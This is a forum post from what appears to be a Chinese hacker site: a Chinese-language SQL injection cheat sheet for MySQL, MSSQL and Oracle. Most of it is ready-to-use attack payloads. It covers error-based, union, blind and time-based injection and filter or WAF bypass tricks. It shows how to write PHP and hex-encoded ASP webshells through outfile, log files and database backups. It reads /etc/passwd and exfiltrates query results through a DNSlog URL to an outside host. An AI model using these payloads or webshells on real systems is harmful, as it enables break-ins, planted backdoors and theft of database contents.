• Welcome to the world's largest Chinese hacker forum

    Welcome to the world's largest Chinese hacker forum, our forum registration is open! You can now register for technical communication with us, this is a free and open to the world of the BBS, we founded the purpose for the study of network security, please don't release business of black/grey, or on the BBS posts, to seek help hacker if violations, we will permanently frozen your IP and account, thank you for your cooperation. Hacker attack and defense cracking or network Security

    business please click here: Creation Security  From CNHACKTEAM

Linux Kali常用报错 使用教程


This Wind

Recommended Posts

发现SQL注入

  • 常用fuzz语句字典

注入利用

  • group_concat脱库使用limit出数据
SELECT GROUP_CONCAT(id) FROM (
    SELECT DISTINCT id FROM people LIMIT 4
) AS ids;
  • 报错注入
1 floor报错

union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a

2 extractvalue报错

id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

3 updatexml报错

id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

4geometrycollection报错

id=1 and geometrycollection((select * from(select * from(select user())a)b))

5 multipoint报错

id=1 and multipoint((select * from(select * from(select user())a)b))

6 polygon报错

id=1 and polygon((select * from(select * from(select user())a)b))

7 multipolygon报错

id=1 and multipolygon((select * from(select * from(select user())a)b))

8 linestring报错

id=1 and linestring((select * from(select * from(select user())a)b))

9 multilinestring报错

id=1 and multilinestring((select * from(select * from(select user())a)b))

10 exp报错

id=1 and exp(~(select * from(select user())a))

  • 联合查询注入
1)常规联合注入手法

查表:union select 1,2,group_concat(table_name),4,xxxx from information_schema.tables where table_schema=database();
查列:Union select 1,2,group_concat(column_name),4,xxxx from information_schema.columns where table_schema=database() and table_name=(table_name)
查数据:Union select 1,2,column_name,4,xxx from (database_name.)table_name  

2)无列名union查询注入

order by比较盲注:

and (select 'x' union select user() order by 1 limit 1)='x' 



  • 布尔型盲注
判断(登陆处)
select * from user where name='admin'+1+'' and passwd='123456';(false) ==>提示用户名错误
select * from user where name='admin'+0+'' and passwd='123456';(true) ==>提示密码错误

判断长度
admin'-(length(passwd)=48)-'

出数据
=admin'-(ascii(mid(xxx,1,1)=48)-' (普通情况下)
=admin'-(ascii(mid(xxx from 1 for 1))=48)-'   (逗号被过滤的情况)
=admin'-(ascii(mid(passwd)from(1))=48)-'  for被过滤的情况)
=admin'-(ascii(mid(REVERSE(MID((passwd)from(-1)))from(-1)))=48)-'   ascii截断报错的情况)



注入写shell

  • mysql读写文件
(1) 查看secure_file_priv值的方法:
	select @@secure_file_priv;
	select @@global.secure_file_priv;
	show variables like "secure_file_priv";
  修改方法:
    通过修改my.ini文件,添加:secure_file_priv=
    启动项添加参数:mysqld.exe --secure_file_priv=
  注:
    secure_file_pric是一个系统变量,用来对读、写文件进行限制的
    无内容,表示无限制。
    NULL,表示禁止文件读/写。
    为目录名,表示仅允许对特定目录的文件进行读/写。
    5.5.53本身及之后的版本默认值为NULL,之前的版本无内容。

(2) 读文件:
  select load_file(file_path);
  load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; # 读取服务端文件
  load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; # 读取客户端文件
  注:
    前两种需要secure_file_priv为空或者为指定路径
    都需要知道绝对路径
    要读取的文件大小必须小于max_allowed_packet所设置的值(查看max_allowed_packet的方法,select @@max_allowed_packet;

(3) 写文件:
  一般方法:
    select 1,"<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php';
    select 2,"<?php @assert($_POST['t']);?>" into dumpfile '/var/www/html/1.php';
  注:
    secure-file-priv无值或为可利用的目录
	  需知道目标目录的绝对目录地址
	  目标目录可写,mysql的权限足够
	查询日志法:
	  # 查看genera文件配置情况
    show global variables like "%genera%";
    # 查看有读写权限的目录
    show global variables like '%secure%';
    #流程
    set global general_log='on';
    set global general_log_file='D:/phpstudy/www/upload/1.php';
    select '<?php @assert($_POST["qwe"]); ?>';
    # 关闭general_log
    set global general_log=off;
  慢查询日志法:
    #查询慢日志相关配置
    show global variables like '%slow_query_log%';
    # 设置slow_query_log=1,即启用慢查询日志(默认禁止)
    set global slow_query_log='on';
    # 修改slow_query_log_file日志文件的绝对路径及文件名
    set global slow_query_log_file='/var/www/html/2.php';
    # 关闭慢查询
    set global slow_query_log='off';
  注:
    mysql版本需要5.0版本以上(5.0以上才会创建日志文件)
    权限需要可以对日志的设置进行操作
    知道目标目录的据对路径

  • mssql写文件
# 通过差异备份getshell
  backup database sqltest to disk='c:\sqltest.bak' with init;;    -- 第一次备份, init表示新备份的数据文件覆盖当前设备上所有备份文件
  create table shell(a image);        --创建表格
  insert into shell(a) values(0x3c256576616c2072657175657374282263686f70706572222920253e20);    -- 写入hex编码后的webshell
  backup database sqltest to disk='c:\shell.asp' with differential,FORMAT;    -- 进行差异备份
  
# 通过log备份getshell
  alter database 库名 set RECOVERY FULL;    --将数据库设置为还原模式
  create table shell (a image);
  backup log 库名 to disk = 'c:\xxx' with init; 
  insert into shell (a) values (0x3C25657865637574652872657175657374282261222929253E);
  backup log 库名 to disk = 'c:\xxx\2.asp';

#条件
  1、网站的绝对路径
  2、已知路径具有写权限
  3、具有当前数据库权限
  • oracle写文件

注入提权


常见注入

判断注入

数字型

?id=1 #结果正常
?id=1 and 1=1 #结果正常
?id=1 and 1=2 #结果错误
#存在注入点

?id=1 #结果返回正常
?id=2-1 #返回结果与上次一样
#存在注入

字符串型

?name=x #结果正常
?name=x' #结果不正常
?name=x' and 1=1 'x'='x #结果正常
?name=x' and 1=2 'x'='x #结果不正常
#存在注入点
#注意闭合 括号、引号等
```
#### 搜索框
```
#单引号报错,%返回正常
1 1%' and 1=1 and '%'='
#注意闭合 括号、引号等
```
### 判断注入点发生的位置
#### 通过页面报错来判断


![/WEB%e6%b5%8b%e8%af%95/7735296.png](/WEB%e6%b5%8b%e8%af%95/7735296.png)


#### 通过业务类型来判断
例如:一个页面的功能为修改用户的信息资料,那么如果该处存在注入,一般为update语句的注入
同样如果一个页面的功能为新增收件地址,那么如果该处存在注入,一般为insert语句的注入

#### order by注入判断
```
#mysql
?order=if(1=1,id,name) #通过id来排序
?order=if(1=2,id,name) #通过name来排序

#mssql
?order=(CASE+WHEN+(1=1)+THEN+id+ELSE+name+END) #通过id字段排序
?order=(CASE+WHEN+(1=2)+THEN+id+ELSE+name+END) #通过name字段排序

#不知道列名的时候,通过报错
?order=if(1=1,1,(select+1+union+select+2)) #正确
?order=if(1=2,1,(select+1+union+select+2)) #错误
```


![/WEB%e6%b5%8b%e8%af%95/9883140.png](/WEB%e6%b5%8b%e8%af%95/9883140.png)


### 数据库类型区分
#### 利用页面报错来区分


![/WEB%e6%b5%8b%e8%af%95/89273359.png](/WEB%e6%b5%8b%e8%af%95/89273359.png)


#### 利用链接字符串来区分''
```
select * from users where username=''+'admin';#mssql支持、mysql查出所有数据、oracle不支持
select * from users where username='' 'admin';#mssql支持、mysql查出一条数据、oracle不支持
select * from users where username='adm' || 'in';#mssql不支持、mysql不支持、oracle支持
```


![/WEB%e6%b5%8b%e8%af%95/88181484.png](/WEB%e6%b5%8b%e8%af%95/88181484.png)



![/WEB%e6%b5%8b%e8%af%95/94595625.png](/WEB%e6%b5%8b%e8%af%95/94595625.png)



![/WEB%e6%b5%8b%e8%af%95/94608171.png](/WEB%e6%b5%8b%e8%af%95/94608171.png)



![/WEB%e6%b5%8b%e8%af%95/94711875.png](/WEB%e6%b5%8b%e8%af%95/94711875.png)



![/WEB%e6%b5%8b%e8%af%95/94924171.png](/WEB%e6%b5%8b%e8%af%95/94924171.png)



![/WEB%e6%b5%8b%e8%af%95/94964328.png](/WEB%e6%b5%8b%e8%af%95/94964328.png)



![/WEB%e6%b5%8b%e8%af%95/95007609.png](/WEB%e6%b5%8b%e8%af%95/95007609.png)

#### 利用特有函数来判断
例如通过延时来判断
```
#mysql
select * from users where username='admin' and if(1=1,sleep(5),0);
#mssql
select * from sqltest.dbo.test where username='admin' waitfor delay '0:0:5';
#oracle
select username from users where id=1 and 1=(DBMS_PIPE.RECEIVE_MESSAGE('1',2)) and 1=1;
```


![/WEB%e6%b5%8b%e8%af%95/90122296.png](/WEB%e6%b5%8b%e8%af%95/90122296.png)



![/WEB%e6%b5%8b%e8%af%95/94398890.png](/WEB%e6%b5%8b%e8%af%95/94398890.png)

#### 通过端口来判断
mysql-3306
mssql-1433
oracle-1521
#### 利用特有的表来判断
```
#mssql特有
select count(*) from sysobjects;
```


![/WEB%e6%b5%8b%e8%af%95/95957390.png](/WEB%e6%b5%8b%e8%af%95/95957390.png)



![/WEB%e6%b5%8b%e8%af%95/95977937.png](/WEB%e6%b5%8b%e8%af%95/95977937.png)



![/WEB%e6%b5%8b%e8%af%95/96000250.png](/WEB%e6%b5%8b%e8%af%95/96000250.png)

```
#mysql(5.0以上)mssql
select count(*) from information_schema.TABLE;
```


![/WEB%e6%b5%8b%e8%af%95/96086859.png](/WEB%e6%b5%8b%e8%af%95/96086859.png)





![/WEB%e6%b5%8b%e8%af%95/545426062.png](/WEB%e6%b5%8b%e8%af%95/545426062.png)





![/WEB%e6%b5%8b%e8%af%95/96180000.png](/WEB%e6%b5%8b%e8%af%95/96180000.png)

```
#oracle特有
select count(*) from sys.user_tables;
```


![/WEB%e6%b5%8b%e8%af%95/96230796.png](/WEB%e6%b5%8b%e8%af%95/96230796.png)



![/WEB%e6%b5%8b%e8%af%95/96243312.png](/WEB%e6%b5%8b%e8%af%95/96243312.png)



![/WEB%e6%b5%8b%e8%af%95/96259062.png](/WEB%e6%b5%8b%e8%af%95/96259062.png)
#### 通过注释符来判断
```
mysql
#单行注释
/*多行注释*/
-- 单行注释(注意后面有空格)

mssql
/*多行注释*/
--单行注释

oracle
--单行注释
/*多行注释*/
```

### 注入方式
#### mysql
- 请求方式
getpostcookieheader头注入(client-ip
```
https://127.0.0.1/index.php?id=1'
SELECT client_ip FROM query_log WHERE dname=''
X-FORWARDED-FOR:
client-ip:127.0.0.1' and if xxxx....
```
- 宽字节注入
```
php+mysql: addslashes()     ' ---> /'
mysql在使用GBK编码的时候,会认为两个字符是一个汉字   df%'
```
- 报错注入
```
mysql> select * from users order by id and updatexml(1,concat(0x7e,version()),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
mysql>
mysql> select * from users order by id and extractvalue(1,concat(0x7e,version()));
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
```
- 时间盲注
```
select * from users where id=1-if(ascii(substr(user(),1,1))=114,sleep(5),0);
```
- 布尔盲注
```
select * from users where id=1 and if(1=1,1,exp(1024));
```
- limit注入
```sql
#order by
select user from users limit 0,1 union select user from users;
'''
'''
# order by 
mysql> select * from user order by id limit 0,1 procedure analyse(extractvalue(1,concat(0x5e24,version(),0x5e24)),1);
ERROR 1105 (HY000): XPATH syntax error: '^$5.5.53^$'
```
- 联合查询
```
select * from users union select 1,2,3;
```
- 使用join注入
```
在联合查询的时候,查询填充的列分割较多时,就会被waf拦截
select * from users union select * from (select user())a join (select database())b join (select version())c;
```
![/WEB%e6%b5%8b%e8%af%95/521188765.png](/WEB%e6%b5%8b%e8%af%95/521188765.png)
- 二阶注入 
```
 二阶原理
1)攻击者在http请求中提交恶意输入; 
2)恶意输入保存在数据库中;
3)攻击者提交第二次http请求;
4)为处理第二次http请求,程序在检索存储在数据库中的恶意输入,构造SQL语句; 
5)如果攻击成功,在第二次请求响应中返回结果。
示例 sql-lab 24
```
- DNSlog带出数据
```
payload:http://127.0.0.1/1.php?id=1%20anandd+if((select+load_file(concat(%27\\\\%27,(select+database()),%27.7tdhw7.dnslog.cn\\qwe%27))),1,0)
DNSlog平台:
    http://ceye.io
    http://www.dnslog.cn/
    http://admin.dnslog.link
    burp collaborator
使用场景:
    三大注入无法使用
    有文件读取权限及secure-file-priv无值。
    不知道网站/目标文件/目标目录的绝对路径
    目标系统为Windows
注:
    对于表段,由于load_file()一次只能传输一条数据,所以查询的时候需要使用limit来一个一个的解析。
    特殊字符使用hex()编码
```
#### mssql
- 报错注入
```
select * from sqltest.dbo.test where ID=1 and 1=CONVERT(int,(select @@VERSION)); #获取版本
select * from sqltest.dbo.test where ID=1 and 1=CONVERT(int,(select  @@servername)); #获取主机名
select * from sqltest.dbo.test where ID=1 and 1=CONVERT(int,(select  suser_sname())); #获取当前数据库用户名
```
![/WEB%e6%b5%8b%e8%af%95/347516468.png](/WEB%e6%b5%8b%e8%af%95/347516468.png)
- 布尔盲注
```
select * from sqltest.dbo.test where username='admin' and substring((select @@version),22,4)='2008';
```
![/WEB%e6%b5%8b%e8%af%95/348199875.png](/WEB%e6%b5%8b%e8%af%95/348199875.png)
![/WEB%e6%b5%8b%e8%af%95/348225734.png](/WEB%e6%b5%8b%e8%af%95/348225734.png)
- 时间盲注
```
select * from sqlitest where ID=1 WAITFOR DELAY '0:0:3';
```
![/WEB%e6%b5%8b%e8%af%95/349267796.png](/WEB%e6%b5%8b%e8%af%95/349267796.png)
- 联合注入
```
select * from sqltest.dbo.test where username='admin' union select null,username+password,null from sqltest.dbo.test order by id desc;
```
![/WEB%e6%b5%8b%e8%af%95/520224843.png](/WEB%e6%b5%8b%e8%af%95/520224843.png)
#### oracle
- 布尔盲注
```
decode()
#用法:decode(字段或字段的运算,值1,值2,值3),  这个函数运行的结果是,当字段或字段的运算的值等于值1时,该函数返回值2,否则返回值3
 当然值1,值2,值3也可以是表达式,这个函数使得某些sql语句简单了许多
select * from users where id=1 and 1=(select decode(substr(username,1,1),'h',1,0) from users where id=1);
```
![/WEB%e6%b5%8b%e8%af%95/525627921.png](/WEB%e6%b5%8b%e8%af%95/525627921.png)
![/WEB%e6%b5%8b%e8%af%95/525571265.png](/WEB%e6%b5%8b%e8%af%95/525571265.png)
![/WEB%e6%b5%8b%e8%af%95/525585921.png](/WEB%e6%b5%8b%e8%af%95/525585921.png)
```
instr()
#用法instr(abads,d) return 4;
select * from users where id=1 and instr((select username from users where id=1),'h')=1;
```
![/WEB%e6%b5%8b%e8%af%95/525735546.png](/WEB%e6%b5%8b%e8%af%95/525735546.png)
![/WEB%e6%b5%8b%e8%af%95/525752125.png](/WEB%e6%b5%8b%e8%af%95/525752125.png)
- 时间盲注
```
DBMS_PIPE.RECEIVE_MESSAGE()
来自官网的DBMS_PIPE.RECEIVE_MESSAGE语法:
DBMS_PIPE.RECEIVE_MESSAGE (
   pipename     IN VARCHAR2,
   timeout      IN INTEGER      DEFAULT maxwait)
RETURN INTEGER;
可以暂时理解成DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)
select user from dual where rownum=1 and 1=(DBMS_PIPE.RECEIVE_MESSAGE('1',2)) and 1=1;
```
```
通过大数据查表或多次查表起到延时作用
例如查询所有数据库条数
select count(*) from all_objects;
```

### 过滤与绕过
过滤:我们输入的部分内容在拼接sql语句之前被程序删除掉了,然后将剩下的内容拼接到sql语句并继续与数据库进行通信。

拦截:如果检测到指定的内容存在,则直接返回拦截页面,不进行拼接sql语句与数据库通信等操作。
- mysql

```
# 常用绕过方式
1、双写绕过(替换为空、非单字符、非循环过滤)
2、大小写混搭
3、多次/层编码
# 具体实例
1、过滤单引号
  hex编码(select * from user where username=0x61646D696E;
  char编码(select * from user where username=char(97,100,109,105,110);
  html实体编码(select * from user where username=&#39;admin&#39;
  %2527(主要是因为绕过magic_quotes_gpc过滤,因为%25解码为%,结合后面的27也就是%27也就是',所以可以绕过过滤。)
2、表名等关键字
  双写
  大小写混搭
  空格(information_schema . tables
  着重号(information</em>schema.tables
  特殊符 /!informationschema.tables/
  反引号(`information_schema`.`tables`
  别名(information_schema.(partitions),(statistics),(keycolumnusage),(table_constraints)
3like=
  使用in()(例:select * from users where id in (5);
  使用between and (例:select * from users where id between 1 and 5;
  使用< >(例:select * from  users where username > 'a'
4andor
  双写绕过
  大小写混搭
  使用运算符代替&&||(注意&&需要进行编码)
  直接拼接= (例:select * from user where username='admin'=1=1;
5、空格被过滤
  多层括号嵌套
  使用+号代替
  使用注释符代替
  and/or后面可以跟上偶数个!、~用来代替空格,也可以混合使用,and/or前的空格可以省略
  %09%0a%0b%0c%0d%a0等不可见字符也可以替代空格
  使用引号来代替(例:select * from user where id=1.0and"1=1"
6、逗号被过滤
  使用join语句代替
  substr(data from 1 for 1)相当于 substr(data,1,1)limit 9 offset 4相当于limit 9,4
7、隐式转化
  mysql会把字符串强制转化为开头的数字,若开头是字母则强制转化为0
```
Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now